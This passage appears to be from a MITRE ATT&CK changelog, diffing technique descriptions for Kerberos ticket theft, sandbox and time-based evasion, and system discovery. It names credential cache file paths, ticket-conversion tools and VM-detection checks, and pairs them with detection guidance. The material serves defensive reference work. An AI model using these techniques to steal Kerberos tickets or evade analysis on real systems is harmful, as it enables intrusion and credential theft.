| > | ials are stored in the ccache file while they remain valid a | ||||
| > | nd generally while a user's session lasts.(Citation: MIT cca | ||||
| > | che) On modern Redhat Enterprise Linux systems, and derivati | ||||
| > | ve distributions, the System Security Services Daemon (SSSD) | ||||
| > | handles Kerberos tickets. By default SSSD maintains a copy | ||||
| > | of the ticket database that can be found in <code>/var/lib/s | ||||
| > | ss/secrets/secrets.ldb</code> as well as the corresponding k | ||||
| > | ey located in <code>/var/lib/sss/secrets/.secrets.mkey</code | ||||
| > | >. Both files require root access to read. If an adversary i | ||||
| > | s able to access the database and key, the credential cache | ||||
| > | Kerberos blob can be extracted and converted into a usable K | ||||
| > | erberos ccache file that adversaries may use for [Pass the T | ||||
| > | icket](https://attack.mitre.org/techniques/T1550/003). The c | ||||
| > | cache file may also be converted into a Windows format using | ||||
| > | tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Cita | ||||
| > | tion: Brining MimiKatz to Unix)(Citation: Kekeo) Kerberos | ||||
| > | tickets on macOS are stored in a standard ccache format, sim | ||||
| > | ilar to Linux. By default, access to these ccache entries is | ||||
| > | federated through the KCM daemon process via the Mach RPC p | ||||
| > | rotocol, which uses the caller's environment to determine ac | ||||
| > | cess. The storage location for these ccache entries is influ | ||||
| > | enced by the <code>/etc/krb5.conf</code> configuration file | ||||
| > | and the <code>KRB5CCNAME</code> environment variable which c | ||||
| > | an specify to save them to disk or keep them protected via t | ||||
| > | he KCM daemon. Users can interact with ticket storage using | ||||
| > | <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, | ||||
| > | and <code>kcc</code> built-in binaries or via Apple's nativ | ||||
| > | e Kerberos framework. Adversaries can use open source tools | ||||
| > | to interact with the ccache files directly or to use the Ker | ||||
| > | beros framework to call lower-level APIs for extracting the | ||||
| > | user's TGT or Service Tickets.(Citation: SpectorOps Bifrost | ||||
| > | Kerberos macOS 2019)(Citation: macOS kerberos framework MIT) | ||||
| > | |||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Tim (Wadhwa-)Brown', 'Cody Thomas, SpecterOps'] | |
| x_mitre_permissions_required | ['User', 'root'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-29 16:16:06.868000+00:00 | 2021-10-14 22:56:22.054000+00:00 |
| description | Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access. | Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.
On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)
Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the "ccache". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)
Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)
|
| external_references[3]['source_name'] | ADSecurity Detecting Forged Tickets | Microsoft Klist |
| external_references[3]['description'] | Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015. | Microsoft. (2021, March 3). klist. Retrieved October 14, 2021. |
| external_references[3]['url'] | https://adsecurity.org/?p=1515 | https://docs.microsoft.com/windows-server/administration/windows-commands/klist |
| external_references[4]['source_name'] | Stealthbits Detect PtT 2019 | MIT ccache |
| external_references[4]['description'] | Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020. | Massachusetts Institute of Technology. (n.d.). MIT Kerberos Documentation: Credential Cache. Retrieved October 4, 2021. |
| external_references[4]['url'] | https://blog.stealthbits.com/detect-pass-the-ticket-attacks | https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html |
| external_references[5]['source_name'] | CERT-EU Golden Ticket Protection | Linux Kerberos Tickets |
| external_references[5]['description'] | Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017. | Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021. |
| external_references[5]['url'] | https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf | https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html |
| external_references[6]['source_name'] | Microsoft Kerberos Golden Ticket | Brining MimiKatz to Unix |
| external_references[6]['description'] | Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020. | Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021. |
| external_references[6]['url'] | https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285 | https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf |
| external_references[7]['source_name'] | Microsoft Detecting Kerberoasting Feb 2018 | Kekeo |
| external_references[7]['description'] | Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018. | Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021. |
| external_references[7]['url'] | https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/ | https://github.com/gentilkiwi/kekeo |
| external_references[8]['source_name'] | AdSecurity Cracking Kerberos Dec 2015 | SpectorOps Bifrost Kerberos macOS 2019 |
| external_references[8]['description'] | Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018. | Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021. |
| external_references[8]['url'] | https://adsecurity.org/?p=2293 | https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f |
| external_references[9]['source_name'] | Medium Detecting Attempts to Steal Passwords from Memory | macOS kerberos framework MIT |
| external_references[9]['description'] | French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019. | Massachusetts Institute of Technology. (2007, October 27). Kerberos for Macintosh Preferences Documentation. Retrieved October 6, 2021. |
| external_references[9]['url'] | https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea | http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html |
| x_mitre_data_sources[0] | Windows event logs | File: File Access |
| x_mitre_data_sources[1] | Authentication logs | Command: Command Execution |
| x_mitre_detection | Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection) Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket) Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015) Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored. | Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)
Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)
Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally.
Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)
Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.
Monitor for unusual processes accessing secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/. |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ADSecurity Detecting Forged Tickets', 'description': 'Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', 'url': 'https://adsecurity.org/?p=1515'} | |
| external_references | {'source_name': 'Stealthbits Detect PtT 2019', 'description': 'Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.', 'url': 'https://blog.stealthbits.com/detect-pass-the-ticket-attacks'} | |
| external_references | {'source_name': 'CERT-EU Golden Ticket Protection', 'description': 'Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', 'url': 'https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf'} | |
| external_references | {'source_name': 'Microsoft Kerberos Golden Ticket', 'description': 'Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.', 'url': 'https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285'} | |
| external_references | {'source_name': 'Microsoft Detecting Kerberoasting Feb 2018', 'description': 'Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.', 'url': 'https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/'} | |
| external_references | {'source_name': 'AdSecurity Cracking Kerberos Dec 2015', 'description': 'Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.', 'url': 'https://adsecurity.org/?p=2293'} | |
| external_references | {'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory', 'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea'} | |
| x_mitre_data_sources | Active Directory: Active Directory Credential Request | |
| x_mitre_data_sources | Logon Session: Logon Session Metadata | |
| x_mitre_platforms | Linux | |
| x_mitre_platforms | macOS |
Current version: 2.1
Version changed from: 1.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various system checks to detect and a | t | 1 | Adversaries may employ various system checks to detect and a |
| > | void virtualization and analysis environments. This may incl | > | void virtualization and analysis environments. This may incl | ||
| > | ude changing behaviors based on the results of checks for th | > | ude changing behaviors based on the results of checks for th | ||
| > | e presence of artifacts indicative of a virtual machine envi | > | e presence of artifacts indicative of a virtual machine envi | ||
| > | ronment (VME) or sandbox. If the adversary detects a VME, th | > | ronment (VME) or sandbox. If the adversary detects a VME, th | ||
| > | ey may alter their malware to disengage from the victim or c | > | ey may alter their malware to disengage from the victim or c | ||
| > | onceal the core functions of the implant. They may also sear | > | onceal the core functions of the implant. They may also sear | ||
| > | ch for VME artifacts before dropping secondary or additional | > | ch for VME artifacts before dropping secondary or additional | ||
| > | payloads. Adversaries may use the information learned from | > | payloads. Adversaries may use the information learned from | ||
| > | [Virtualization/Sandbox Evasion](https://attack.mitre.org/te | > | [Virtualization/Sandbox Evasion](https://attack.mitre.org/te | ||
| > | chniques/T1497) during automated discovery to shape follow-o | > | chniques/T1497) during automated discovery to shape follow-o | ||
| > | n behaviors. Specific checks may will vary based on the ta | > | n behaviors.(Citation: Deloitte Environment Awareness) Spec | ||
| > | rget and/or adversary, but may involve behaviors such as [Wi | > | ific checks will vary based on the target and/or adversary, | ||
| > | ndows Management Instrumentation](https://attack.mitre.org/t | > | but may involve behaviors such as [Windows Management Instru | ||
| > | echniques/T1047), [PowerShell](https://attack.mitre.org/tech | > | mentation](https://attack.mitre.org/techniques/T1047), [Powe | ||
| > | niques/T1059/001), [System Information Discovery](https://at | > | rShell](https://attack.mitre.org/techniques/T1059/001), [Sys | ||
| > | tack.mitre.org/techniques/T1082), and [Query Registry](https | > | tem Information Discovery](https://attack.mitre.org/techniqu | ||
| > | ://attack.mitre.org/techniques/T1012) to obtain system infor | > | es/T1082), and [Query Registry](https://attack.mitre.org/tec | ||
| > | mation and search for VME artifacts. Adversaries may search | > | hniques/T1012) to obtain system information and search for V | ||
| > | for VME artifacts in memory, processes, file system, hardwar | > | ME artifacts. Adversaries may search for VME artifacts in me | ||
| > | e, and/or the Registry. Adversaries may use scripting to aut | > | mory, processes, file system, hardware, and/or the Registry. | ||
| > | omate these checks into one script and then have the progra | > | Adversaries may use scripting to automate these checks int | ||
| > | m exit if it determines the system to be a virtual environme | > | o one script and then have the program exit if it determines | ||
| > | nt. Checks could include generic system properties such as | > | the system to be a virtual environment. Checks could incl | ||
| > | uptime and samples of network traffic. Adversaries may also | > | ude generic system properties such as host/domain name and s | ||
| > | check the network adapters addresses, CPU core count, and a | > | amples of network traffic. Adversaries may also check the ne | ||
| > | vailable memory/drive size. Other common checks may enumer | > | twork adapters addresses, CPU core count, and available memo | ||
| > | ate services running that are unique to these applications, | > | ry/drive size. Other common checks may enumerate services | ||
| > | installed programs on the system, manufacturer/product field | > | running that are unique to these applications, installed pro | ||
| > | s for strings relating to virtual machine applications, and | > | grams on the system, manufacturer/product fields for strings | ||
| > | VME-specific hardware/processor instructions.(Citation: McAf | > | relating to virtual machine applications, and VME-specific | ||
| > | ee Virtual Jan 2017) In applications like VMWare, adversarie | > | hardware/processor instructions.(Citation: McAfee Virtual Ja | ||
| > | s can also use a special I/O port to send commands and recei | > | n 2017) In applications like VMWare, adversaries can also us | ||
| > | ve output. Hardware checks, such as the presence of the f | > | e a special I/O port to send commands and receive output. | ||
| > | an, temperature, and audio devices, could also be used to ga | > | Hardware checks, such as the presence of the fan, temperatu | ||
| > | ther evidence that can be indicative a virtual environment. | > | re, and audio devices, could also be used to gather evidence | ||
| > | Adversaries may also query for specific readings from these | > | that can be indicative a virtual environment. Adversaries m | ||
| > | devices.(Citation: Unit 42 OilRig Sept 2018) | > | ay also query for specific readings from these devices.(Cita | ||
| > | tion: Unit 42 OilRig Sept 2018) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 16:32:02.514000+00:00 | 2021-10-18 14:57:07.973000+00:00 |
| description | Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. Specific checks may will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. Checks could include generic system properties such as uptime and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018) | Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018) |
| external_references[1]['source_name'] | McAfee Virtual Jan 2017 | Deloitte Environment Awareness |
| external_references[1]['description'] | Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019. | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. |
| external_references[1]['url'] | https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/ | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc |
| external_references[2]['source_name'] | Unit 42 OilRig Sept 2018 | McAfee Virtual Jan 2017 |
| external_references[2]['description'] | Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018. | Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019. |
| external_references[2]['url'] | https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/ | https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/ |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Unit 42 OilRig Sept 2018', 'description': 'Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.', 'url': 'https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/'} | |
| x_mitre_data_sources | Process: OS API Execution |
Current version: 2.3
Version changed from: 2.1 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may attempt to get detailed information about t | t | 1 | An adversary may attempt to get detailed information about t |
| > | he operating system and hardware, including version, patches | > | he operating system and hardware, including version, patches | ||
| > | , hotfixes, service packs, and architecture. Adversaries may | > | , hotfixes, service packs, and architecture. Adversaries may | ||
| > | use the information from [System Information Discovery](htt | > | use the information from [System Information Discovery](htt | ||
| > | ps://attack.mitre.org/techniques/T1082) during automated dis | > | ps://attack.mitre.org/techniques/T1082) during automated dis | ||
| > | covery to shape follow-on behaviors, including whether or no | > | covery to shape follow-on behaviors, including whether or no | ||
| > | t the adversary fully infects the target and/or attempts spe | > | t the adversary fully infects the target and/or attempts spe | ||
| > | cific actions. Tools such as [Systeminfo](https://attack.mi | > | cific actions. Tools such as [Systeminfo](https://attack.mi | ||
| > | tre.org/software/S0096) can be used to gather detailed syste | > | tre.org/software/S0096) can be used to gather detailed syste | ||
| > | m information. A breakdown of system data can also be gather | > | m information. If running with privileged access, a breakdow | ||
| > | ed through the macOS <code>systemsetup</code> command, but i | > | n of system data can be gathered through the <code>systemset | ||
| > | t requires administrative privileges. Infrastructure as a S | > | up</code> configuration tool on macOS. As an example, advers | ||
| > | ervice (IaaS) cloud providers such as AWS, GCP, and Azure al | > | aries with user-level access can execute the <code>df -aH</c | ||
| > | low access to instance and virtual machine information via A | > | ode> command to obtain currently mounted disks and associate | ||
| > | PIs. Successful authenticated API calls can return data such | > | d freely available space. [System Information Discovery](htt | ||
| > | as the operating system platform and status of a particular | > | ps://attack.mitre.org/techniques/T1082) combined with inform | ||
| > | instance or the model view of a virtual machine.(Citation: | > | ation gathered from other forms of discovery and reconnaissa | ||
| > | Amazon Describe Instance)(Citation: Google Instances Resourc | > | nce can drive payload development and concealment.(Citation: | ||
| > | e)(Citation: Microsoft Virutal Machine API) | > | OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniqu | ||
| > | es) Infrastructure as a Service (IaaS) cloud providers such | ||||
| > | as AWS, GCP, and Azure allow access to instance and virtual | ||||
| > | machine information via APIs. Successful authenticated API | ||||
| > | calls can return data such as the operating system platform | ||||
| > | and status of a particular instance or the model view of a v | ||||
| > | irtual machine.(Citation: Amazon Describe Instance)(Citation | ||||
| > | : Google Instances Resource)(Citation: Microsoft Virutal Mac | ||||
| > | hine API) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 18:17:42.298000+00:00 | 2021-10-13 23:21:27.750000+00:00 |
| description | An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. A breakdown of system data can also be gathered through the macOS systemsetup command, but it requires administrative privileges.
Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API) | An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)
Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API) |
| external_references[2]['source_name'] | Amazon Describe Instance | OSX.FairyTale |
| external_references[2]['description'] | Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020. | Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021. |
| external_references[2]['url'] | https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html | https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/ |
| external_references[3]['source_name'] | Google Instances Resource | 20 macOS Common Tools and Techniques |
| external_references[3]['description'] | Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020. | Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. |
| external_references[3]['url'] | https://cloud.google.com/compute/docs/reference/rest/v1/instances | https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ |
| external_references[4]['source_name'] | Microsoft Virutal Machine API | Amazon Describe Instance |
| external_references[4]['description'] | Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019. | Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020. |
| external_references[4]['url'] | https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get | https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html |
| x_mitre_data_sources[0] | Azure activity logs | Instance: Instance Metadata |
| x_mitre_data_sources[1] | Stackdriver logs | Process: Process Creation |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Command: Command Execution |
| x_mitre_data_sources[3] | Process monitoring | Process: OS API Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_version | 2.1 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Google Instances Resource', 'description': 'Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.', 'url': 'https://cloud.google.com/compute/docs/reference/rest/v1/instances'} | |
| external_references | {'source_name': 'Microsoft Virutal Machine API', 'description': 'Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.', 'url': 'https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get'} | |
| x_mitre_contributors | Maril Vernon @shewhohacks |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various time-based methods to detect | t | 1 | Adversaries may employ various time-based methods to detect |
| > | and avoid virtualization and analysis environments. This may | > | and avoid virtualization and analysis environments. This may | ||
| > | include timers or other triggers to avoid a virtual machine | > | include enumerating time-based properties, such as uptime o | ||
| > | environment (VME) or sandbox, specifically those that are a | > | r the system clock, as well as the use of timers or other tr | ||
| > | utomated or only operate for a limited amount of time. Adve | > | iggers to avoid a virtual machine environment (VME) or sandb | ||
| > | rsaries may employ various time-based evasions, such as dela | > | ox, specifically those that are automated or only operate fo | ||
| > | ying malware functionality upon initial execution using prog | > | r a limited amount of time. Adversaries may employ various | ||
| > | rammatic sleep commands or native system scheduling function | > | time-based evasions, such as delaying malware functionality | ||
| > | ality (ex: [Scheduled Task/Job](https://attack.mitre.org/tec | > | upon initial execution using programmatic sleep commands or | ||
